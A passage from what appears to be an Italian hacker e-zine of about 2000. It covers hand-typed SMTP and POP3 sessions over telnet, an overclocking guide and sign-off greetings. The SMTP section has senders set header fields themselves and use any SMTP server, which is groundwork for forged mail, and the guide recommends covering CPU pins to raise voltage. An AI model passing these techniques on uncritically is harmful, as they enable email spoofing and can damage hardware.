quelle informazioni che dicono da dove sia partito il messaggio con relativi IP, tra cui anche il nostro; Immettete le seguenti informazioni: To: indirizzo destinatario Date: Mon , 31 MArzo 2000 11:11:23 Subject: Quello che volete Si possono anche omettere queste 3 righe dopo aver fatto questo SCRIVETE IL MESSAGGIO DA MANDARE, NON C'E' LIMITE AL NUMERO DI CARATTERI NEL MESSAGGIO. Quando avrete terminato LASCIATE UNA RIGA BIANCA E PREMERE IL . E POI INVIO. A questo punto verra' trasmesso il messaggio al SERVER usando caratteri ASCII a 7 bit. P.S. Se si vogliono allegare file ad un messaggio, questi devono essere codificati in caratteri a 7 bit usando BInHexx, uuencode o MIME; 6. Una volta trasmesso il messaggio, utilizzate il comando QUIT per terminare la sessione; se si vuole inviare un altro messaggio con destinatario diverso, utilizzate il comando MAIL FROM: QUESTO E' PER QUANTO RIGUARDA L'INVIO DEI MESSAGGI. IN PRATICA QUESTO FA IL NOSTRO CLIENT DI POSTA: STABILISCE UNA SESSIONE CON IL SERVER E IMPARTISCE QUESTI COMANDI, CON LA DIFFERENZA OPERANDO MANUALMENTE SEGUENDO I PASSAGGI SOPRAELENCATI SI POSSONO PERSONALIZZARE MOLTI PARAMETRI; E' IMPORTANTE TENER PRESENTE CHE USANDO UN CLIENT TELNET, POSSIAMO MANDARE LA POSTA USANDO UN QUALSIASI SERVER SMTP, NON NECESSARIAMENTE QUELLO DEL NOSTRO ISP (INTERNET SERVICE PROVIDER, PIU' BANALMENTE IL NOSTRO PROVIDER). ADESSO PASSIAMO AL PROTOCOLLO POP3. Questo protocollo ormai e' il piu' diffuso nella ricezione di messaggi; infatti inizialmente si poteva gestire tutto tramite il protocollo SMTP, ma per altre ragioni che adesso non vado a enunciare, il POP3 e' divenuto quello piu' usato. 1. Per stabilire una sessione con un server POP3, basta connettersi mediante TELNET alla 110, dove il demon pop3 e' in ascolto per possibili connessioni; 2. Il Server vi risponde, facendovi vedere la versione del POP3 presente; 3. Adesso bisogna IDENTIFICARSI digitare: USER (e' il nome utente); PASS (e' la vostra password); se il server rispondera' OK a tutt'e due i messaggi e' tutto a posto, se la risposta invece sara' ERR ripetete l'operazione; 4. Una volta connessi, per controllare se ci sono messaggi digitare STAT (scrivere i comandi in MAIUSCOLO); il Server vi rispondera' +OK ed elenchera' i messaggi presenti nella vostra casella (es: +OK 4 xxxx) e lo spazio okkupato. Per leggere i messaggi digitare RETR e il numero del messaggio, (es. RETR 3, serve a leggere il messaggio n. 3); per leggere solo le n righe di un determinato messaggio, scrivete TOP n. messaggio e numero righe. Per Eliminare un Messaggio scrivete DELE e il numero del messaggio. Non e' possibile, perche' non e' permesso dal protocollo POP3, cancellare un determinato numero di messaggi, di conseguenza bisogna cancellarli uno ad uno, invece con client telnet evoluti tipo KERMIT, la cosa e' automatizzabile scrivendo una macro con un loop da 1 a n messaggi, e per ogni messaggio applica il comando DELE n; Per uscire premere QUIT. Vi starete chiedendo cosa importa saper controllare la posta tramite Telnet; innanzitutto perche' da qualsiasi Computer vi troverete, potrete controllare la posta, senza configurare il Client che usate, e LA COSA PIU' IMPORTATE E' CHE POTRETE CONTROLLARE PIU' PROVIDER SENZA BISOGNO DI COLLEGARSI CONTEMPORANEAMENTE CON UN'INFINITA' DI SERVERS QUANTE SONO LE VOSTRE CASELLE EMAIL. Un'altra motivazione, non meno importante della prima, e' questa: Sapete cos'e' il MAILBOMBING? E' un grossissimo numero di messaggi di posta elettronica inviati al malcapitato, con allegati file di una certa grandezza in modo tale che egli non possa piu' usare la sua Casella di posta elettronica. Connettendosi quindi direttamente al SERVER, si possono eliminare i messaggi :DDDDDD Bene, spero sia di stato di vostro gradimento: ci si vede alla prossima, si spera:DD Un saluto a CCP, e a JIMMORISON .==================================================================[ misc ]====. | Overclock | °=========================================[ ^|Red-vex - lorenzoa@freemail.it ]=° Allora… {D4nG3r} mi ha talmente stressato che mi sono deciso a scrivere questo articolo sull’overclock. Dato che questo deve anche essere un aiuto per i meno esperti in materia, ogni argomento sara' trattato senza inutili tecnicismi e senza sfoggio di dati, ma badando al lato concreto della questione, cercando di mettere in luce gli aspetti di maggiore importanza. Io direi di cominciare analizzando la parola OVERCLOCK: come tutti sappiamo in inglese over vuol dire “al di sopra”, “oltre”, quindi spingere qualcosa oltre il suo limite. Quella “cosa” e' quella che tutti leggiamo quando avviamo il nostro picchio: il clock della CPU. Per farvi capire meglio prendo come esempio il mio computer con il quale sto scrivendo... non e' di una generazione recentissima, infatti quando avvio leggo PENTIUM II 350 Mhz. Quel 350 e' il clock della CPU, che in pratica mi dice quanto il cervellino del mio computer possa essere veloce. Quindi overclockando il nostro computer non facciamo altro che far andare piu' veloce il cervello del calcolatore. Tanti mi chiedono se sia rischiosa questa tecnica, ma, sinceramente, con tutta la mia buona volonta' non sono ancora riuscito a bruciare un processore; cmq voi state attenti e se per caso vi si cola qualcosa sono cazzi vostri. Come tutti sapete la frequenza in mhz di una cpu e' data dal valore del bus di sistema -sempre in mhz- moltiplicato per il "fattore di moltiplicazione" della cpu stessa. Ecco alcuni esempi: _________________________________________________________ | PROCESSORE | BUS | MOLTIPLICATORE | COSTRUZIONE | |--------------+---------+----------------+-------------| | P200 MMX | 66 mhz | x3 | 0.35 micron | | P223 MMX | 66 mhz | x3.5 | 0.35 micron | | P2-233 | 66 mhz | x3.5 | 0.35 micron | | P2-266 | 66 mhz | x4 | 0.35 micron | | P2-300 | 66 mhz | x4.5 | 0.35 micron | | P2-333 | 66 mhz | x5 | 0.25 micron | | P2-350 | 100 mhz | x3.5 | 0.25 micron | | P2-400 | 100 mhz | x4 | 0.25 micron | | P2-450 | 100 mhz | x4.5 | 0.25 micron | | Celeron 300a | 66 mhz | x4.5 | 0.25 micron | | Celeron 333 | 66 mhz | x5 | 0.25 micron | |______________|_________|________________|_____________| Come vediamo, il celeron 300 lavora su un bus di 66 mhz con moltiplicatore 4.5 quindi, come detto in precedenza, 66x4.5=300 (come volevasi dimostrare). Aumentando la frequenza, la cpu compie un maggior numero di operazioni al secondo, risultando piu' performante. Avrete gia' notato che per spingere la cpu abbiamo 2 possibilita': l’aumento del bus oppure l’aumento del moltiplicatore. Purtroppo, i furbacchioni della intel, hanno bloccato il molt a tutte le cpu, ossia non ne accettano alcun altro che quello standard (nel caso in esempio x4.5).Le cpu AMD invece consentono ancora di usare fattori di moltiplicazione superiori a quello previsto. (ma non sempre, si va un po’ a culo). Quindi, ricapitolando, se avete AMD dovreste poter cambiare sia bus che molt; se, invece, avete intel, moooolto probabilmente dovrete rassegnarvi ad alzare solo il bus. Il bus e' la frequenza di lavoro della scheda madre, della ram e in funzione della quale vanno il bus pci-agp e i canali eide (gli hard disk). Qui sotto ho riportato una tabella con alcuni dei bus e le rispettive velocita' sul PCI-EIDE e AGP. _____________________________________________________ | BUS | PCI-EIDE | AGP | |-----+----------------------+----------------------| | 75 | 37.5 1/2 del bus | 75 1/2 del bus | | 83 | 41.5 1/2 del bus | 83 1/2 del bus | | 100 | 33 1/3 del bus* | 66 2/3 del bus* | | 103 | 34.3 1/3 del bus* | 68.6 2/3 del bus* | | 112 | 37.3 1/3 del bus* | 74.6 2/3 del bus* | | 124 | 41.3 1/3 del bus* | 82.6 2/3 del bus* | |-----|----------------------|----------------------| Si nota subito la differenza tra sistemi slot1 e sistemi socket7 in relazione all’overclock. Visto che per la maggior parte delle operazioni la cpu attinge piu' alla cache che non alla ram, comprendiamo che la velocita' della prima e' molto importante per le nostre prestazioni. Nei sistemi socket7, la cache viaggia alla velocita' del bus; per cui in quei casi puo' essere piu' performante una cpu con un clock piu' basso ma bus piu' veloce: molte sono state le esperienze con i p233mmx che erano piu' veloci a 250 mhz (83x3) che non a 262 (75x3.5): il gap dei 12mhz di clock in meno era ampiamente superato dagli 8 mhz in piu' di bus. Nei sistemi con slot, invece, cambia tutto perche' la cache viaggia in funzione della velocita' della cpu, quindi il bus diventa influente solo in maniera indiretta. Adesso che abbiamo le nozioni teoriche possiamo passare alla parte pratica. Di solito moltiplicatore e bus si settano dalla scheda madre con dei jumper. La disposizione di questi cambia per ogni MB quindi prima di cominciare e' bene impossessarsi del libretto di istruzioni. Oltre alla posizione dei jumper troveremo la tabella con le varie combinazioni possibili e i rispettivi bus. Una volta individuati i jumper possiamo provare con un minimo aumento valutando poi la reazione che ha il sistema; in queste cose ci vuole molta pazienza. Con un overclock molto leggero non dovrebbero esserci particolari problemi, potrebbe tuttavia accadere che il sistema non faccia il boot o non carichi il sistema operativo, in questo caso potete trovare rimedio abbassando il timing della ram da bios, oppure, cosa che io vivamente sconsiglio, alzando MOOOLTO LEGGERMENTE il voltaggio della cpu. Come riferimento possiamo dire che per i Pentium mmx-P2 fino a 300mhz il valore non dovra' superare i 3.0 volt, mentre per i P2-Celeron da 0.25 micron il limite e' 2.3 volt. Cmq ribadisco che se si brucia qualcosa sono cazzi vostri. :p Per raggiungere i voltaggi superiori ai 2 volt sulle cpu Celeron-P2 da 0.25 micron, bisogna agire sui piedini (pin) della cpu stessa coprendoli, in genere si consiglia di usare il "bianchetto", ma vanno bene anche altre soluzioni tipo nastro isolante, solo mi raccomando la MOOOLTA PRUDENZA!!! Qui sotto c’e' la tabellina coi principali voltaggi e i rispettivi piedini, ho deciso di omettere le altre tensioni visto che sono ancora piu' rischiose. __________________________________________________________________ | VOLTAGGIO | PIEDINI | |-----------+----------------------------------------------------| | | A119 | A120 | B119 | B120 | A121 | |-----------+----------+----------+---------+----------+---------| | 2.2 volt | Coperto | Scoperto | Coperto | Scoperto | Coperto | | 2.4 volt | Scoperto | Coperto | Coperto | Scoperto | Coperto | |-----------|----------|----------|---------|----------|---------| Per trovare i piedini sono spiacente ma dovete trovare delle immagini chiedendo su qualche newsgroup dal momento che mi e' stato proibito di inserirne. :( (N.B. : E' molto facile ... il numero dei piedini e' scritto alle estremita' del processore proprio vicino ai piedini :) {D4nG3r}) Se il vostro sistema parte al primo colpo con l’overclock piu' alto, prima di fare una cazzata e alzarlo ancora, testate il corretto funzionamento della macchina, avviate un po’ tutti i programmi, lanciate qualche benchmark, insomma fate sudare sette camice al vostro computer per almeno 2/3 ore; l’importante e' che le applicazioni avviate siano il piu' pesante possibile, vanno bene anche i giochi 3d, cosi' almeno vi divertite un po'. Se avete passato con successo questa prima fase, possiamo procedere al passo successivo: un ulteriore incremento del bus. Incrementandolo, si potrebbero verificare effetti negativi sull’hard disk, con possibili perdite di dati. Per ovviare a questo inconveniente basta abbassare il pio-mode del disco dal bios. E' invece piu' difficile riscontrare problemi dalla scheda video. E' importante fare una distinzione: come si nota dalla tabella, alcune cpu sono state costruite con tecnologia a 0.35 micron, altre, piu' recenti con quella a 0.25. Queste cpu di ultima generazione presentano la capacita' di reggere frequenze di lavoro molto piu' alte e danno molti meno problemi di calore, risultando anche piu' facilmente overclockabili. E' raro che una cpu pensata per lavorare a 66mhz non regga un overclock a 75 mhz di bus, un po' piu' facile avere noie col bus a 83 (un P2 233 lavorerebbe a 292mhz..), questo per quanto riguarda cpu da 0.35 micron, quelle a 0.25 digeriscono senza problemi questi "leggeri" overclock, soprattutto i Celeron 300-333. Invece il salto da 66 a 100mhz di bus e' piu' problematico e la migliore cpu che riesce ad effettuarlo con buona probabilita' di successo e' il Celeron 300a che arriva a 450mhz; le altre cpu, visti i moltiplicatori piu' elevati, dovrebbero reggere clock superiori ai 500mhz, cosa che di rado accade, ma che puo' succedere.. E se una cpu, anche dopo aver adottato tutti gli accorgimenti possibili (compresi quelli relativi al raffreddamento), non ne volesse sapere di accettare un clock piu' alto? O lo raggiungesse, ma in maniera cosi' instabile da essere inservibile? In quel caso bisogna mettersi l'anima in pace: il processore non regge quella velocita' e non c'e' nulla da fare...ti devi attakkare….. :PPPP RAFFREDDAMENTO: E' un aspetto a cui prestare molta attenzione, anche se il pc non ha subito overclock di sorta. Le regole da seguire sono semplici: Case: Sceglietene uno piuttosto ampio, ben ventilato e che abbia gia' la predisposizione per la ventola interna, io consiglio sempre un bel towerone maxi modello familiare con ventilatore integrato. Dissipatore: Anche qui, prendetene uno di abbondanti dimensioni, piu' grosso lo si trova e poi calore riesce a dissipare dalla cpu, se e' per un P2 va bene con 2 ventole ai lati, evitateli invece per i Celeron: questi hanno la cache solo al centro, nella cpu vera e propria, non come i P2 sui lati (la cache contribuisce molto al riscaldamento della cpu). Prestate maggiore attenzione ai processori costruiti a 0.35, visto che scaldano parecchio di piu'. Per la cronaca, conosco gente che ha pensato bene di raffreddare la cpu ad acqua!!!!! Io ve lo sconsiglio anche perche' non e' il massimo farle fare un bagnetto….. Pasta Siliconica: Si trova in negozi di elettronica e serve ad aumentare la superficie di contatto tra cpu e dissipatore, aumentando la cessione del calore a quest'ultimo e, quindi, tenendo piu' freddo il processore. Se ne mette uno strato (sottile! Non dei chili ne basta un velo) sul dissipatore dove questo sara' in contatto con la cpu, poi si appoggiano le due parti, si muove un po' per creare un maggior "contiguita'" e poi si possono fissare. In molti pensano che sia una cazzata ma ho constatato di persona che conta parecchio. Software di Idling: Anche a riposo (o quasi: office, lettura documenti o comunque applicazioni non troppo pesanti come giochi o benchmark) la cpu si scalda inutilmente, questi programmi la mettono a riposo, “spegnendola” nei momenti in cui non e' sfruttata, lasciandole quindi un po’ di respiro e la possibilita' di raffreddarsi sensibilmente. Chip Video: Quelli dell'ultima generazione scaldano molto, tanto che parecchi di essi escono gia' con un dissipatore di serie; nel caso il calore sia comunque eccessivo potete aggiungere una ventolina sul dissipatore se presente, in caso contrario se ne puo' adattare uno da Pentium. L'operazione e' piuttosto scomoda, visto che i chip video sono a "testa in giu'"..per fissarli si possono usare elastici o anche dell'Attack (qualche goccia, solo qualche goccia! Non dei litri). Usate anche per le schede video la pasta siliconica che va sempre bene. Monitoraggio della temperatura: Molte Mb possiedono la possibilita' di tenere sotto controllo le temperature da bios (molte solo della MB stessa, altre anche della cpu), o piu' comodamente con programmi appositi che rendono il dato comodamente consultabile sotto Windows. Io per la Abit ho comprato un termometro digitale del quale ho posizionato la sonda nella parte centrale del dissipatore; per la cronaca la temp. massima che ho registrato e' di 37.5 gradi, sotto windows invece si e' sui 27.5. Oltre alla temperatura si possono tener sotto controllo altre cavolatine tipo i giri della ventolina che da bravo elettronico ho provveduto ad elaborare. Varie: Se la temperatura del vostro pc continua ad essere alta potete installare delle ventole da case che aiutino il circolo dell'aria; vanno montate in modo che aspirino aria fresca da fuori e la introducano all'interno. Se ne avete una fate in modo che i cavi flat dei dischi non impediscano al getto d'aria di circolare. Si possono montare anche delle ventole da case vicino alla cpu, o per aumentare la portata d'aria fresca verso il dissipatore o ,al contrario, orientando in modo inverso la ventola stessa, per aspirare l'aria calda che esce dal dissipatore; io uso questo secondo metodo con una ventola da 8x8 e la temp. e' scesa di ben 3-4 gradi. RISCHI PER LA CPU: Il pericolo principale e' il calore, che crescendo all’aumentare della frequenza di lavoro, fa si' che un processore overcloccato scaldi decisamente di piu' rispetto allo standard previsto.. e il calore eccessivo puo' danneggiare, anche irrimediabilmente, la cpu. Inoltre, molto spesso, in caso di OC spinti, si rende necessario aumentare il voltaggio della cpu (per favorire una maggiore stabilita' operativa) (overvolt) e cio' comporta un ulteriore aumento della emissione di calore. Per quanto riguarda i rischi, la mia opinione e' che, con la dovuta prudenza, il rischio di danni sia possibile ma molto remoto. Tanti dicono che con l’overclock si ha un notevole deterioramento della cpu ma, ammesso che sia anche vero, tanto ne cambiamo di media una ogni anno e mezzo :p Bisogna, per non avere sgradevoli sorprese, prestare molta attenzione al raffreddamento del pc: comprare dissipatori di grandi dimensioni, usare la pasta siliconica tra cpu e diss. stesso, montare ventole nel case e usare software “IDLE” come gia' accennato in precedenza; sono tutte accortezze che ogni overclocker dovrebbe adottare. RISCHI PER SCHEDE PCI/HD Come gia' illustrato nello schema precedente queste componenti dipendono dal bus pci, quindi quando esso e' standard, come a 66 o 100mhz, non vi e' alcun problema. Quasi lo stesso discorso vale per i bus a 75 o 103, dove la variazione e' talmente limitata che raramente si trova un componente che funzioni male, o peggio si rovini. La frequenza piu' rischiosa sono gli 83 mhz, col pci che va' a ben 41,5 mhz: in questo caso si puo' notare un maggior riscaldamento delle schede pci e dell’elettronica del disco; ci possono essere danneggiamenti alla fat del disco stesso e perdite di dati: in questo caso e' consigliato ridurre il pio-mode del disco. Alcune schede potrebbero anche non reggere affatto questo aumento sul bus, ma non e' una eventualita' frequente (controller SCSI esclusi). RISCHI DI INSTABILITA’ OPERATIVA A mio modesto sono sottovalutati e spesso possono sfuggire ad un test di solo "laboratorio": in questo caso l’esperienza derivante da un uso quotidiano e' molto piu' significativa. Sono molti infatti i problemi che un over, soprattutto se spinto, puo' causare, tra questi ad esempio le famose schermate d’errore blu di Windows, i "questo programma ha eseguito una operazione non valida..", i blocchi totali del sistema, le applicazioni che si "impallano"…. Non saranno danni fisici e irreversibili, d’accordo, ma che senso ha avere un pc con qualche mhz in piu' se poi rischiamo di vederlo piantarsi nel mezzo di una installazione o durante una finale a Fifa99? :) Sono molti i modi per cercare di porre rimedio a questi fastidiosi fenomeni: molto spesso possono essere dovuti ad un surriscaldamento del pc, per cui rimando a quanto detto sopra, altre volte potrebbe aiutare l’aumento del voltaggio della cpu (operazione che solo l’Abit consente comodamente da bios, senza operazioni scomode sui piedini della cpu). Per il Celeron, si consiglia di non superare i 2,2 (massimo 2,3) volt dai 2,0 originali. In caso di aumento di bus, ad es. a 83 mhz, si possono alzare anche i timings delle ram non pc100. Oki raga e' tutto spero di essere stato veloce, indolore ed esauriente; alla prox. ^|Red-vex .==================================================================[ halt ]====. | Saluti | °============================================[ {D4nG3r} - D4nG3r@freemail.it ]=° Vorrei ringraziare Assassinz per il grande aiuto che mi ha dato nell'impostare la grafica dell'e-zine ;O) 10x E per finire.... i saluti :) Saluto tutti i broz e le sis, in partikolare Mallory :** Gli amici di Avatar e tutti quelli che ci hanno lasciato :| Mio fratello Gotrek :) Tutti quelli che conoscono il mio nick :P Ed in ultimo (forse xke' e' il + vekkietto :PP) un ringraziamento partikolare a [KC], che ultimamente se ne sta solo soletto :) Anche un bel FUCK a tutti coloro che non possono sopportarci! :P Ma soprattutto "GRAZIE MENTOR" per tutte le esperienze, i sogni e le delusioni che mi hai fatto provare in questi ultimi tempi. Alla prox Ciauz {D4nG3r}